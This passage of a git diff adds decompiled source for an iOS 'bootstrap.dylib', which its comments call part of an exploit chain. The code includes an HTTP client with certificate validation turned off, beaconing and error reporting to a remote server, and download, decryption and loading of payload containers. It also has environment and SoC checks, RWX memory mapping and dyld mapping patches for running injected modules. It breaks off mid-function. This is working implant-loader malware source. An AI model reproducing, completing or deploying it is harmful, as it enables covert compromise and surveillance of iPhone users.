CFDataCreate(alloc, (const UInt8 *)body, blen); + if (!body_data) { + err = ERR_HTTP_DATA_ERR; + goto cleanup_early; + } + } + + /* Retry loop (up to 7 attempts) */ + uint32_t attempt; + for (attempt = 0; attempt < 7; attempt++) { + if (has_output) + *out_data = NULL; + + CFURLRef cf_url = CFURLCreateWithString(alloc, url_str, NULL); + if (!cf_url) { + if (attempt < 6) continue; + err = ERR_HTTP_URL; + break; + } + + CFStringRef scheme = CFURLCopyScheme(cf_url); + if (!scheme) { + CFRelease(cf_url); + err = ERR_HTTP_SCHEME; + goto release_round; + } + + const char *method = body_data ? "POST" : "GET"; + CFStringRef method_str = CFStringCreateWithCString(alloc, method, kCFStringEncodingUTF8); + if (!method_str) { + err = ERR_HTTP_MSG; + CFRelease(cf_url); + CFRelease(scheme); + goto release_round; + } + + CFHTTPMessageRef req = CFHTTPMessageCreateRequest( + alloc, method_str, cf_url, kCFHTTPVersion1_1); + if (!req) { + err = ERR_HTTP_MSG; + CFRelease(cf_url); + CFRelease(scheme); + CFRelease(method_str); + goto release_round; + } + + if (body_data) + CFHTTPMessageSetBody(req, body_data); + + CFStringRef ua_hdr_key = NULL; + if (ua_str) { + ua_hdr_key = CFStringCreateWithCString(alloc, "User-Agent", kCFStringEncodingUTF8); + if (ua_hdr_key) + CFHTTPMessageSetHeaderFieldValue(req, ua_hdr_key, ua_str); + } + + CFStringRef ct_hdr_key = NULL; + if (ct_str) { + ct_hdr_key = CFStringCreateWithCString(alloc, "Content-Type", kCFStringEncodingUTF8); + if (ct_hdr_key) + CFHTTPMessageSetHeaderFieldValue(req, ct_hdr_key, ct_str); + } + + CFReadStreamRef stream = CFReadStreamCreateForHTTPRequest(alloc, req); + if (!stream) { + err = ERR_HTTP_STREAM; + goto release_all; + } + + /* SSL bypass: disable certificate validation for HTTPS */ + CFStringRef https_str = CFSTR("https"); + int ssl_ok = 1; + if (CFEqual(scheme, https_str)) { + CFDictionaryRef ssl_dict = CFDictionaryCreate( + alloc, + (const void *[]){kCFStreamSSLValidatesCertificateChain}, + (const void *[]){kCFBooleanFalse}, + 1, NULL, NULL); + if (ssl_dict) { + ssl_ok = CFReadStreamSetProperty(stream, kCFStreamPropertySSLSettings, ssl_dict); + CFRelease(ssl_dict); + } else { + err = ERR_HTTP_DICT; + goto release_stream; + } + } + + if (!ssl_ok) { + err = ERR_HTTP_SSL; + goto release_stream; + } + + // SCDynamicStoreCopyProxies is not available on iOS, and we would bypass this anyways +// CFDictionaryRef proxies = SCDynamicStoreCopyProxies(NULL); +// if (proxies) { +// int proxy_ok = CFReadStreamSetProperty(stream, kCFStreamPropertyHTTPProxy, proxies); +// CFRelease(proxies); +// if (!proxy_ok) { +// err = ERR_HTTP_PROXY; +// goto release_stream; +// } +// } else { +// err = ERR_HTTP_PROXY; +// goto release_stream; +// } + + CFHTTPMessageRef resp_msg = CFHTTPMessageCreateEmpty(alloc, false); + if (!resp_msg) { + err = ERR_HTTP_MSG; + goto release_stream; + } + + stream_ctx_t *sctx = (stream_ctx_t *)calloc(sizeof(stream_ctx_t), 1); + if (!sctx) { + CFRelease(resp_msg); + err = ERR_GENERIC; + goto release_stream; + } + + sctx->response_msg = (void *)resp_msg; + sctx->status_code = 500; + + void *callback_fn = (void *)pac_sign_if_needed( + strip_pac((uint64_t)stream_read_callback), 0); + + struct { + long version; + void *info; + void *retain; + void *release; + void *desc; + } client_ctx; + memset(&client_ctx, 0, sizeof(client_ctx)); + client_ctx.info = sctx; + + if (!CFReadStreamSetClient(stream, 0x1a, callback_fn, (CFStreamClientContext *)&client_ctx)) { + free(sctx); + CFRelease(resp_msg); + err = ERR_HTTP_CLIENT; + goto release_stream; + } + + CFReadStreamScheduleWithRunLoop(stream, CFRunLoopGetCurrent(), kCFRunLoopCommonModes); + + if (!CFReadStreamOpen(stream)) { + free(sctx); + CFRelease(resp_msg); + err = ERR_HTTP_OPEN; + goto release_stream; + } + + CFRunLoopRunInMode(kCFRunLoopDefaultMode, 240.0, false); + CFReadStreamClose(stream); + + err = sctx->error; + if (!err) { + uint32_t status = sctx->status_code; + print_log("[bootstrap] http_request: attempt=%u status=%u", attempt, status); + if (status > 399 || !has_output) { + if (status > 399) + err = ERR_HTTP_STATUS; + response_data = NULL; + } else { + CFDataRef body_resp = CFHTTPMessageCopyBody((CFHTTPMessageRef)sctx->response_msg); + if (!body_resp) { + err = ERR_HTTP_EMPTY_BODY; + } else { + response_data = body_resp; + *out_data = (void *)body_resp; + } + } + } else { + print_log("[bootstrap] http_request: attempt=%u stream_err=0x%x", attempt, err); + response_data = NULL; + } + + free(sctx); + CFRelease(resp_msg); + + release_stream: + CFRelease(stream); + release_all: + CFRelease(req); + CFRelease(cf_url); + CFRelease(scheme); + CFRelease(method_str); + if (ua_hdr_key) CFRelease(ua_hdr_key); + release_round: + if (ct_hdr_key) CFRelease(ct_hdr_key); + + if (!err || attempt >= 6) + break; + } + + /* Process final response data */ + if (!err && response_data && has_output) { + CFIndex len = CFDataGetLength(response_data); + if (!len) { + err = ERR_HTTP_ZERO_LEN; + } else { + const uint8_t *bytes = CFDataGetBytePtr(response_data); + if (!bytes) { + err = ERR_HTTP_NO_RESP; + } else { + void *copy = malloc((size_t)len); + if (!copy) { + err = ERR_GENERIC; + } else { + memcpy(copy, bytes, (size_t)len); + *out_data = copy; + *out_size = (uint32_t)len; + print_log("[bootstrap] http_request: OK response_size=%ld", (long)len); + } + } + } + } + +cleanup_early: + if (url_str) CFRelease(url_str); + if (ua_str) CFRelease(ua_str); + if (ct_str) CFRelease(ct_str); + if (body_data) CFRelease(body_data); + if (response_data) CFRelease(response_data); + + if (err) + print_log("[bootstrap] http_request: FAIL err=0x%x", err); + return err; +} diff --git a/src/bootstrap/logging.m b/src/bootstrap/logging.m new file mode 100644 index 0000000..d7cffd7 --- /dev/null +++ b/src/bootstrap/logging.m @@ -0,0 +1,357 @@ +/* + * logging.m - Logging, reporting, and shared memory IPC + * + * Decompiled from bootstrap.dylib offsets 0x9300-0x9b5c + */ + +#import "bootstrap.h" +#import +#import +#import +#import +#import + +extern int thread_switch(mach_port_name_t, int, mach_msg_timeout_t); + +void print_log(const char *fmt, ...) +{ + va_list ap; + va_start(ap, fmt); + vdprintf(1, fmt, ap); + dprintf(1, "\n"); + va_end(ap); +} + +/* ── format_string (0x9a34) ────────────────────────────────────── */ + +uint32_t format_string(void **out_ptr, uint32_t *out_size, + const char *fmt, ...) +{ + uint32_t err = ERR_NULL_CTX; + if (!out_ptr || !out_size || !fmt) + return err; + + va_list ap; + va_start(ap, fmt); + int needed = vsnprintf(NULL, 0, fmt, ap); + va_end(ap); + + if (needed < 1) { + *out_ptr = NULL; + *out_size = 0; + return ERR_NULL_CTX + 0x13; + } + + uint32_t alloc_size = (uint32_t)needed + 1; + char *buf = (char *)malloc(alloc_size); + if (!buf) { + return ERR_NULL_CTX + 0x8; + } + + va_list ap2; + va_start(ap2, fmt); + int written = vsnprintf(buf, alloc_size, fmt, ap2); + va_end(ap2); + + if (written > needed) { + bzero(buf, alloc_size); + free(buf); + *out_ptr = NULL; + *out_size = 0; + return ERR_NULL_CTX + 0xA; + } + + buf[needed] = '\0'; + *out_ptr = buf; + *out_size = written; + return 0; +} + +/* ── format_log_entry (0x94b4) ─────────────────────────────────── */ + +uint32_t format_log_entry(void **out_ptr, uint32_t *out_size, + const char *fmt, ...) +{ + void *inner = NULL; + uint32_t inner_size = 0; + uint32_t err; + + if (fmt) { + va_list ap; + va_start(ap, fmt); + err = format_string(&inner, &inner_size, fmt, ap); + va_end(ap); + } else { + va_list ap; + va_start(ap, fmt); + err = format_string(&inner, &inner_size, fmt, ap); + va_end(ap); + } + + if (err) + return err; + + err = format_string(out_ptr, out_size, + "{\"cmd\":\"logmsg\",\"args\":{\"msg\":\"%s\"}}", + inner); + + bzero(inner, inner_size); + free(inner); + + return err; +} + +/* ── send_log (0x9300) ─────────────────────────────────────────── */ + +uint32_t send_log(bootstrap_ctx_t *ctx, const char *url, + void **out_data, uint32_t *out_size) +{ + uint32_t err = ERR_NULL_CTX; + if (!ctx || !url) + return err; + if (!url[0] || !out_data || !out_size) + return err; + + print_log("[bootstrap] send_log: url=%s shmem=%p", url, ctx->shared_memory); + + if (ctx->shared_memory) { + return shared_mem_download(ctx, url, NULL, 60000, + out_data, out_size); + } + + char *ua = (char *)ctx->user_agent; + return http_request(url, ua, NULL, NULL, + out_data, out_size); +} + +/* ── format_and_send (0x9398) ──────────────────────────────────── */ + +uint32_t format_and_send(const char *url, const char *ua, + const char *body_fmt, ...) +{ + void *body_data = NULL; + uint32_t body_size = 0; + + if (!url || !url[0]) + return 0; + + if (strncmp(url, "http://", 7) != 0 && + strncmp(url, "https://", 8) != 0) { + return ERR_NULL_CTX + 0x13; + } + + va_list ap; + va_start(ap, body_fmt); + uint32_t err = format_string(&body_data, &body_size, body_fmt, ap); + va_end(ap); + + if (err) + return err; + + print_log("[bootstrap] format_and_send: url=%s body_size=%u", url, body_size); + err = http_request(url, ua, "application/json", + (const char *)body_data, NULL, NULL); + + bzero(body_data, body_size); + free(body_data); + + return err; +} + +/* ── send_report (0x9580) ──────────────────────────────────────── */ + +uint32_t send_report(bootstrap_ctx_t *ctx, uint32_t error, + const char *filename, uint32_t line) +{ + uint32_t err = ERR_NULL_CTX; + if (!ctx) + return err; + + print_log("[bootstrap] send_report: error=0x%x file=%s line=%u", error, filename ? filename : "(null)", line); + + void *report_data = NULL; + uint32_t report_size = 0; + void *response_data = NULL; + uint32_t response_size = 0; + + if (ctx->shared_memory) { + char *alt_url = ctx->alt_url; + if (!alt_url || !alt_url[0]) + return 0; + + if (strncmp(alt_url, "http://", 7) != 0 && + strncmp(alt_url, "https://", 8) != 0) { + return err + 0x13; + } + + err = format_log_entry(&report_data, &report_size, + filename ? + "{\"e\":%u,\"f\":\"%s\",\"l\":%u}" : + "{\"e\":%u,\"l\":%u}", + error, filename, line); + if (err) + return err; + + err = shared_mem_download(ctx, alt_url, + (const char *)report_data, 5000, + &response_data, &response_size); + + if (err == 0x3012) + err = 0; + + if (!err && response_data) { + bzero(response_data, response_size); + free(response_data); + response_data = NULL; + } + + bzero(report_data, report_size); + free(report_data); + + return err; + } + + char *ua = (char *)ctx->user_agent; + char *alt = ctx->alt_url; + + return format_and_send(alt, ua, + filename ? + "{\"e\":%u,\"f\":\"%s\",\"l\":%u}" : + "{\"e\":%u,\"l\":%u}", + error, filename, line); +} + +/* ── init_communication (0x96f8) ───────────────────────────────── */ + +uint32_t init_communication(bootstrap_ctx_t *ctx) +{ + if (!ctx) + return ERR_NULL_CTX; + + print_log("[bootstrap] init_communication: shmem=%p", ctx->shared_memory); + + ctx->download_func = (fn_download_t)send_log; + ctx->log_func = (fn_log_t)send_report; + + if (!ctx->shared_memory) + return 0; + + kern_return_t kr = semaphore_create(mach_task_self(), &ctx->semaphore, + 0, 1); + if (kr) { + print_log("[bootstrap] init_communication: semaphore_create FAIL kr=0x%x", kr); + return 0x80000000 | kr; + } + print_log("[bootstrap] init_communication: OK semaphore=%u", ctx->semaphore); + return 0; +} + +/* ── shared_mem_download (0x987c) ──────────────────────────────── */ + +uint32_t shared_mem_download(bootstrap_ctx_t *ctx, const char *url, + const char *body, uint32_t timeout, + void **out_data, uint32_t *out_size) +{ + uint32_t err = ERR_NULL_CTX; + if (!out_data || !out_size) + return err; + + *out_data = NULL; + *out_size = 0; + + print_log("[bootstrap] shared_mem_download: url=%s timeout=%u body=%s", url, timeout, body ? "yes" : "no"); + + if (semaphore_wait(ctx->semaphore)) { + print_log("[bootstrap] shared_mem_download: semaphore_wait FAIL"); + return ERR_TIMEOUT; + } + + if (!timeout) + goto done_timeout; + + uint32_t remaining = timeout; + uint8_t *shmem = (uint8_t *)ctx->shared_memory; + + while (remaining > 0) { + uint32_t state = *(uint32_t *)shmem; + if (state == 0) + goto write_request; + if (state == 5) + goto wait_response; + + thread_switch(0, 2, 1); + remaining--; + } + goto done_timeout; + +write_request: + strncpy((char *)(shmem + 4), url, 0x7FFFFC); + shmem[0x7FFFFF] = '\0'; + + if (body) { + strncpy((char *)(shmem + 0x800000), body, 0x800000); + shmem[0xFFFFFF] = '\0'; + *(uint32_t *)shmem = 7; + } else { + *(uint32_t *)shmem = 1; + } + +wait_response: + { + uint8_t *shmem2 = (uint8_t *)ctx->shared_memory; + uint32_t state; + + while (timeout > 0) { + state = *(uint32_t *)shmem2; + if ((state - 3) < 2) + goto got_response; + + thread_switch(0, 2, 1); + timeout--; + } + + *(uint32_t *)shmem2 = 0; + err = ERR_TIMEOUT; + goto signal_done; + + got_response: + *(uint32_t *)shmem2 = 0; + if (state != 3) { + goto signal_done_ok; + } + + uint32_t resp_size = *(uint32_t *)(shmem2 + 4); + if (!resp_size) { + err = 0x3012; + goto signal_done; + } + + void *copy = malloc(resp_size); + if (!copy) { + err += 0x8; + goto signal_done; + } + + memcpy(copy, shmem2 + 8, resp_size); + err = 0; + *out_data = copy; + *out_size = resp_size; + print_log("[bootstrap] shared_mem_download: got response size=%u", resp_size); + goto signal_done; + } + +signal_done_ok: + err = 0x3012; + +signal_done: + *(uint32_t *)((uint8_t *)ctx->shared_memory) = 0; + semaphore_signal(ctx->semaphore); + return err; + +done_timeout: + *(uint32_t *)((uint8_t *)ctx->shared_memory) = 0; + err = ERR_TIMEOUT; + print_log("[bootstrap] shared_mem_download: TIMEOUT"); + semaphore_signal(ctx->semaphore); + return err; +} diff --git a/src/bootstrap/main.m b/src/bootstrap/main.m new file mode 100644 index 0000000..c02be41 --- /dev/null +++ b/src/bootstrap/main.m @@ -0,0 +1,816 @@ +/* + * main.m - Entry point, thread management, payload processing + * + * Decompiled from bootstrap.dylib offsets 0x5fec-0x6fe8 + */ + +#import "bootstrap.h" +#import +#import +#import +#import +#import +#import +#import +@import Darwin; +@import UIKit; + +extern int sysctlbyname(const char *, void *, size_t *, void *, size_t); +extern void _exit(int); +extern int *__error(void); + +/* ── process_payload (0x5fec) ──────────────────────────────────── */ +/* Main payload processing function. Downloads, decrypts, and loads + * the payload module via the bootstrap context. + * + * High-level flow: + * 1. If logging enabled, report start + * 2. Call ctx->download_func to get payload data + * 3. Validate and decompress the data + * 4. Parse as F00DBEEF container + * 5. Download additional components via download_and_process + * 6. Store container data and configure memory regions + * 7. On flag_a/flag_new_ios: load and run module, setup mmap + * 8. On direct mode: resolve containers, find _start, execute + */ + +uint32_t process_payload(bootstrap_ctx_t *ctx, const char *url, + uint32_t unused, uint32_t *result) +{ + void *dl_data = NULL; + uint32_t dl_size = 0; + void *decrypted = NULL; + uint32_t w23 = 0x730C4C0E; /* logging constant */ + + (void)unused; + + if (!ctx) + return 0; + + print_log("[bootstrap] process_payload: url=%s logging=%d", url, ctx->logging_enabled); + + /* Report start if logging is enabled */ + if (ctx->logging_enabled && ctx->log_func) { + ctx->log_func(ctx, ERR_NULL_CTX + 0x1F000, NULL, + w23 | 0x1F0); + } + + /* Download payload data */ + print_log("[bootstrap] process_payload: downloading payload..."); + uint32_t err = ((fn_download_t)ctx->download_func)( + ctx, url, &dl_data, &dl_size); + if (err) { + print_log("[bootstrap] process_payload: download FAIL err=0x%x", err); + if (ctx->logging_enabled && ctx->log_func) + ctx->log_func(ctx, err, NULL, w23 + 0x1E7); + return err; + } + print_log("[bootstrap] process_payload: download OK size=%u", dl_size); + + /* Validate response */ + if (!dl_data) { + err = ERR_NULL_CTX; + print_log("[bootstrap] process_payload: dl_data is NULL"); + if (ctx->logging_enabled && ctx->log_func) + ctx->log_func(ctx, ERR_NULL_CTX, NULL, w23 + 0x1DF); + goto decompress; + } + + if (dl_size < 4) { + err = ERR_NULL_CTX; + print_log("[bootstrap] process_payload: dl_size too small (%u)", dl_size); + if (ctx->logging_enabled && ctx->log_func) + ctx->log_func(ctx, ERR_NULL_CTX, NULL, w23 + 0x1DF); + goto decompress; + } + + /* Decompress if needed (via ctx->key_ptr) */ + void *decompress_out = NULL; + uint32_t decompress_size = 0; + +decompress: + if (err) { + print_log("[bootstrap] process_payload: decompress phase err=0x%x", err); + if (ctx->logging_enabled && ctx->log_func) + ctx->log_func(ctx, err, NULL, w23 + 0x1CD); + return err; + } + + /* Report successful decompress */ + if (ctx->logging_enabled && ctx->log_func) + ctx->log_func(ctx, 0xC0002, NULL, w23 + 0x1C9); + + /* Parse payload as container */ + print_log("[bootstrap] process_payload: parsing container..."); + fn_parse_container_t parse = ctx->fn_parse_container; + err = parse(ctx, CONTAINER_TYPE_PAYLOAD, dl_data, dl_size); + if (err) { + print_log("[bootstrap] process_payload: parse_container FAIL err=0x%x", err); + if (ctx->logging_enabled && ctx->log_func) + ctx->log_func(ctx, err, NULL, w23 + 0x1B9); + return err; + } + + /* Download and process additional components */ + print_log("[bootstrap] process_payload: downloading additional components..."); + void *extra_data = NULL; + uint32_t extra_size = 0; + err = download_and_process(ctx, CONTAINER_TYPE_PAYLOAD, + &extra_data, &extra_size); + if (err) { + print_log("[bootstrap] process_payload: download_and_process FAIL err=0x%x", err); + if (ctx->logging_enabled && ctx->log_func) + ctx->log_func(ctx, err, NULL, w23 + 0x2C); + return err; + } + + /* Store container data pointers */ + ctx->container_data = extra_data; + ctx->container_size = extra_size; + print_log("[bootstrap] process_payload: container data stored size=%u", extra_size); + + /* Report successful load */ + if (ctx->logging_enabled && ctx->log_func) + ctx->log_func(ctx, 0xC0002 | 1, NULL, w23 + 0x10); + + /* Check operational mode */ + print_log("[bootstrap] process_payload: flag_a=%d flag_new_ios=%d", ctx->flag_a, ctx->flag_new_ios); + if (!ctx->flag_a && !ctx->flag_new_ios) + goto direct_mode; + + /* Check if A15-specific features needed */ + if (ctx->flag_a15_features && ctx->is_sandboxed) + goto load_module; + +load_module: + /* Set ready flag */ + ctx->flag_ready = 1; + print_log("[bootstrap] process_payload: entering load_module path"); + + /* Report ready */ + if (ctx->logging_enabled && ctx->log_func) + ctx->log_func(ctx, 0xC0002 | 2, NULL, w23 + 0xD8); + + /* Load module via find_or_load */ + err = ((fn_find_or_load_t)ctx->fn_find_or_load)( + ctx, CONTAINER_TYPE_MODULE); + if (err) { + print_log("[bootstrap] process_payload: find_or_load FAIL err=0x%x, trying get_pointer", err); + void *module = NULL; + err = ((fn_get_pointer_t)ctx->fn_get_pointer)( + ctx, CONTAINER_TYPE_MODULE, &module); + if (err) { + print_log("[bootstrap] process_payload: get_pointer FAIL err=0x%x", err); + if (ctx->logging_enabled && ctx->log_func) + ctx->log_func(ctx, err, NULL, w23 + 0xD5); + return err; + } + } + + print_log("[bootstrap] process_payload: load_module path OK"); + return 0; + +direct_mode: + print_log("[bootstrap] process_payload: entering direct_mode path"); + /* Direct execution mode — more complex path */ + { + /* Get task dyld info to find executable mapping */ + mach_msg_type_number_t count = 5; + struct { + uint64_t all_images_addr; + uint64_t all_images_size; + uint8_t _rest[0x18]; + } dyld_info; + memset(&dyld_info, 0, sizeof(dyld_info)); + stp_zero: + + err = task_info(mach_task_self(), 17 /* TASK_DYLD_INFO */, + (task_info_t)&dyld_info, &count); + if (err) { + err |= 0x80000000; + print_log("[bootstrap] process_payload: task_info FAIL err=0x%x", err); + if (ctx->logging_enabled && ctx->log_func) + ctx->log_func(ctx, err, NULL, w23 + 0xE2); + return err; + } + + uint64_t all_images = dyld_info.all_images_addr; + print_log("[bootstrap] process_payload: all_images=0x%llx", all_images); + if (!all_images) { + err = ERR_TASK_INFO; + print_log("[bootstrap] process_payload: all_images is NULL"); + if (ctx->logging_enabled && ctx->log_func) + ctx->log_func(ctx, ERR_TASK_INFO, NULL, w23); + return err; + } + + /* Read dyld mapping info */ + uint64_t mapping = *(uint64_t *)((uint8_t *)all_images + 0x28); + mapping &= ~1ULL; /* strip tag bit */ + print_log("[bootstrap] process_payload: mapping=0x%llx", mapping); + + if (!mapping) { + print_log("[bootstrap] process_payload: no mapping, using load_module_wrapper"); + /* No existing mapping — use load_module_wrapper */ + void *module_handle = NULL; + err = load_module_wrapper(ctx, &module_handle); + if (err) + goto check_err; + + /* Call module init */ + void *init_result = NULL; + err = module_call_init((module_handle_t *)module_handle, + 0, &init_result); + if (err) + goto close_module; + + /* Call module command 0xD */ + print_log("[bootstrap] process_payload: calling module cmd 0xD"); + err = module_call_cmd((module_handle_t *)module_handle, + init_result, 0xD, NULL); + + /* Cleanup */ + module_call_cleanup((module_handle_t *)module_handle, + init_result); + + close_module: + close_module(ctx, (module_handle_t *)module_handle); + + check_err: + if (err == ERR_NO_CONTAINER) { + print_log("[bootstrap] process_payload: no loader container, falling back to load_module"); + goto load_module; + } + if (err) + goto report_and_done; + + /* Setup mmap region */ + print_log("[bootstrap] process_payload: setting up mmap region (16MB RWX)"); + void *map = mmap(NULL, 0x1000000, + PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_ANON | MAP_PRIVATE, -1, 0); + if (map == MAP_FAILED) { + print_log("[bootstrap] process_payload: mmap FAILED"); + if (ctx->logging_enabled && ctx->log_func) + ctx->log_func(ctx, ERR_MMAP_FAIL, NULL, + w23 + 0x94); + return ERR_MMAP_FAIL; + } + print_log("[bootstrap] process_payload: mmap OK addr=%p", map); + + ctx->atomic_state = NULL; + ctx->exec_base = (uint8_t *)map; + ctx->exec_size = 0x1000000; + ctx->buffer_remaining = 0; + memset(&ctx->mmap_base, 0, 16); + + /* Store mapping in dyld info */ + uint64_t tag = *(uint64_t *)((uint8_t *)all_images + 0x28); + tag = (tag & 1) | (uintptr_t)map; + *(uint64_t *)((uint8_t *)all_images + 0x28) = tag; + goto load_module; + } + + /* Have existing mapping — setup for container loading */ + { + print_log("[bootstrap] process_payload: have existing mapping, loading data container"); + /* Download data container */ + void *data_dl = NULL; + uint32_t data_sz = 0; + fn_get_raw_data_t get_raw = ctx->fn_get_raw_data; + + err = get_raw(ctx, CONTAINER_TYPE_DATA, &data_dl, &data_sz); + if (err) { + print_log("[bootstrap] process_payload: get_raw_data FAIL err=0x%x", err); + goto container_error; + } + + /* Load module */ + void *module_handle = NULL; + err = load_module(ctx, ERR_NULL_CTX - 0x1D000, + &module_handle); + if (err) { + print_log("[bootstrap] process_payload: load_module FAIL err=0x%x", err); + goto container_error; + } + + /* Call init */ + void *init_result = NULL; + err = module_call_init((module_handle_t *)module_handle, + 0, &init_result); + if (err) { + print_log("[bootstrap] process_payload: module_call_init FAIL err=0x%x", err); + goto container_error; + } + + /* Setup task info */ + struct { + uint8_t data[0x10]; + } task_data; + memset(&task_data, 0, sizeof(task_data)); + *(uint32_t *)&task_data = mach_task_self(); + + /* Send command 0x1B with task info */ + print_log("[bootstrap] process_payload: calling module cmd 0xC000001B"); + err = module_call_cmd((module_handle_t *)module_handle, + init_result, 0xC000001B, &task_data); + if (err) { + print_log("[bootstrap] process_payload: cmd 0xC000001B FAIL err=0x%x", err); + goto container_error; + } + + /* Check response flags */ + if (!((uint8_t *)&task_data)[6] || + !((uint8_t *)&task_data)[5]) { + ((uint8_t *)&task_data)[5] = 1; + ((uint8_t *)&task_data)[6] = 1; + print_log("[bootstrap] process_payload: calling module cmd 0x4000001B"); + err = module_call_cmd((module_handle_t *)module_handle, + init_result, 0x4000001B, &task_data); + if (err) { + print_log("[bootstrap] process_payload: cmd 0x4000001B FAIL err=0x%x", err); + goto container_error; + } + } + + /* Command 0xD */ + print_log("[bootstrap] process_payload: calling module cmd 0xD"); + err = module_call_cmd((module_handle_t *)module_handle, + init_result, 0xD, NULL); + if (err) { + print_log("[bootstrap] process_payload: cmd 0xD FAIL err=0x%x", err); + goto container_error; + } + + container_error: + if (err) { + print_log("[bootstrap] process_payload: container_error path, trying mmap fallback"); + /* Try alternate path with vm_allocate */ + void *new_map = mmap(NULL, 0x1000000, + PROT_READ | PROT_WRITE, + MAP_ANON | MAP_PRIVATE, -1, 0); + if (new_map == MAP_FAILED) { + err = (*(int *)__error()); + if (err < 0) err = -err; + err |= 0x40000000; + print_log("[bootstrap] process_payload: fallback mmap FAILED err=0x%x", err); + goto cleanup_module; + } + print_log("[bootstrap] process_payload: fallback mmap OK addr=%p", new_map); + + /* Allocate VM region */ + vm_address_t vm_addr = 0; + err = vm_allocate(mach_task_self(), &vm_addr, + 0x1000000, VM_FLAGS_ANYWHERE); + if (err) { + print_log("[bootstrap] process_payload: vm_allocate FAIL err=0x%x", err); + goto vm_error; + } + print_log("[bootstrap] process_payload: vm_allocate OK addr=0x%lx", (unsigned long)vm_addr); + + /* Store address and copy data */ + *(uint64_t *)new_map = vm_addr; + extern vm_size_t vm_page_size; + memcpy((uint8_t *)new_map + vm_page_size, + data_dl, data_sz); + + /* Set protection to RWX */ + err = vm_protect(mach_task_self(), (vm_address_t)new_map, + 0x1000000, 0, + VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE); + if (err) { + print_log("[bootstrap] process_payload: vm_protect FAIL err=0x%x", err); + goto vm_error; + } + + /* Send command 0x26 */ + print_log("[bootstrap] process_payload: calling module cmd 0x26"); + err = module_call_cmd((module_handle_t *)module_handle, + init_result, 0x26, NULL); + if (err) { + print_log("[bootstrap] process_payload: cmd 0x26 FAIL err=0x%x", err); + goto cleanup_module_with_map; + } + + /* Update dyld mapping */ + uint64_t *slot = (uint64_t *)((uint8_t *)mapping + 0x28); + uint64_t tag = (*slot) & 1; + *slot = tag | (uintptr_t)new_map; + goto cleanup_module_with_map; + + vm_error: + err |= 0x80000000; + + cleanup_module_with_map: + mapping = (uint64_t)(uintptr_t)new_map; + } + + cleanup_module: + if (module_handle) { + if (init_result) + module_call_cleanup((module_handle_t *)module_handle, + init_result); + close_module(ctx, (module_handle_t *)module_handle); + } + if (err) + goto report_and_done; + + /* Configure memory from mapping */ + print_log("[bootstrap] process_payload: configuring memory from mapping"); + extern vm_size_t vm_page_size; + ctx->exec_base = (uint8_t *)((uintptr_t)decrypted + + vm_page_size + 0x100000); + ctx->exec_size = 0xF00000; + ctx->atomic_state = (uint32_t *)((uintptr_t)decrypted + + 0xFFFFFC); + ctx->mmap_base = mapping; + ctx->mmap_secondary = (uint64_t)(uintptr_t)decrypted; + ctx->buffer_remaining = 0; + + /* Install function pointers for alloc_buffer etc. */ + ctx->fn_alloc_buffer = (fn_alloc_buffer_t)alloc_buffer; + ctx->consume_buf = (fn_consume_buffer_t)consume_buffer; + ctx->bzero_func = (fn_bzero_t)secure_bzero; + ctx->flag_direct_mem = 1; + ctx->flag_ready = 1; + ctx->flag_b = 1; + print_log("[bootstrap] process_payload: direct_mode memory configured, going to load_module"); + goto load_module; + } + } + +report_and_done: + print_log("[bootstrap] process_payload: report_and_done err=0x%x", err); + if (ctx->logging_enabled && ctx->log_func) + ctx->log_func(ctx, err, NULL, w23 + 0x75); + return err; +} + +/* ── process (0x68d8) ──────────────────────────────────────────── */ +/* Exported entry point. Initializes the bootstrap context: + * 1. init_communication + * 2. init_function_table + * 3. init_system_info + * 4. init_sandbox_and_ua + * 5. Validates xnu version range + * 6. Checks virtual environment + * 7. Validates L2 cache / boot args + * 8. Sets up memory regions + * 9. Clones context, spawns worker thread + */ + +__attribute__((visibility("default"))) +uint32_t process(bootstrap_ctx_t *ctx) +{ + // redirect logging to file + struct stat std_out; + struct stat dev_null; + if (fstat(STDOUT_FILENO, &std_out) == 0 && + stat("/dev/null", &dev_null) == 0 && + std_out.st_dev == dev_null.st_dev && + std_out.st_ino == dev_null.st_ino) { + char log_path[PATH_MAX]; + snprintf(log_path, PATH_MAX, "%s/bootstrap.log", getenv("TMPDIR")); + int log_fd = open(log_path, O_WRONLY | O_CREAT | O_APPEND, 0644); + if (log_fd >= 0) { + dup2(log_fd, STDOUT_FILENO); + dup2(log_fd, STDERR_FILENO); + close(log_fd); + } + } + + uint32_t err = ERR_GENERIC; + + if (!ctx) + return err - 8; + + /* Sign raw function pointers from exploit chain for arm64e PAC */ + sign_ctx_fptrs(ctx); + + print_log("[bootstrap] process: entry ctx=%p", ctx); + + /* Step 1: Initialize communication (logging, semaphore) */ + print_log("[bootstrap] process: step 1 - init_communication"); + err = init_communication(ctx); + if (err) { + print_log("[bootstrap] process: init_communication FAIL err=0x%x", err); + return err; + } + + /* Step 2: Initialize function table (container management) */ + print_log("[bootstrap] process: step 2 - init_function_table"); + err = init_function_table(ctx); + if (err) { + print_log("[bootstrap] process: init_function_table FAIL err=0x%x", err); + return err; + } + + /* Step 3: Initialize system info (OS version, device type, etc.) */ + print_log("[bootstrap] process: step 3 - init_system_info"); + err = init_system_info(ctx); + if (err) { + print_log("[bootstrap] process: init_system_info FAIL err=0x%x", err); + return err; + } + + /* Step 4: Initialize sandbox detection and user-agent */ + print_log("[bootstrap] process: step 4 - init_sandbox_and_ua"); + err = init_sandbox_and_ua(ctx); + if (err) { + print_log("[bootstrap] process: init_sandbox_and_ua FAIL err=0x%x", err); + return err; + } + + /* Validate xnu version is within expected range */ + uint64_t xnu = ctx->xnu_version; + print_log("[bootstrap] process: xnu_version=0x%llx os_version=0x%x", xnu, ctx->os_version); + uint64_t adjusted = xnu + 0xFFE7F6FFF9900000ULL; + err = ERR_GENERIC - 1; + if (adjusted > 0x000F090EFE400003ULL) { + print_log("[bootstrap] process: xnu version out of range"); + return err; + } + + /* If device is sandboxed, check additional constraints */ + if (ctx->is_sandboxed) { + print_log("[bootstrap] process: sandboxed, checking constraints"); + uint32_t os_ver = ctx->os_version; + err = 0x27009; + if (os_ver < 0x100000) { + print_log("[bootstrap] process: os_version too low (0x%x)", os_ver); + return err; + } + + /* Check CPU type for known SoC families */ + if (os_ver > 0x100401) { + uint32_t cpu = ctx->cpu_type; + print_log("[bootstrap] process: checking cpu_type=0x%x", cpu); + if (cpu == SOC_TYPE_A) + goto env_check; + if (cpu == SOC_TYPE_B) + goto env_check; + if (cpu > (int32_t)SOC_TYPE_C) { + if 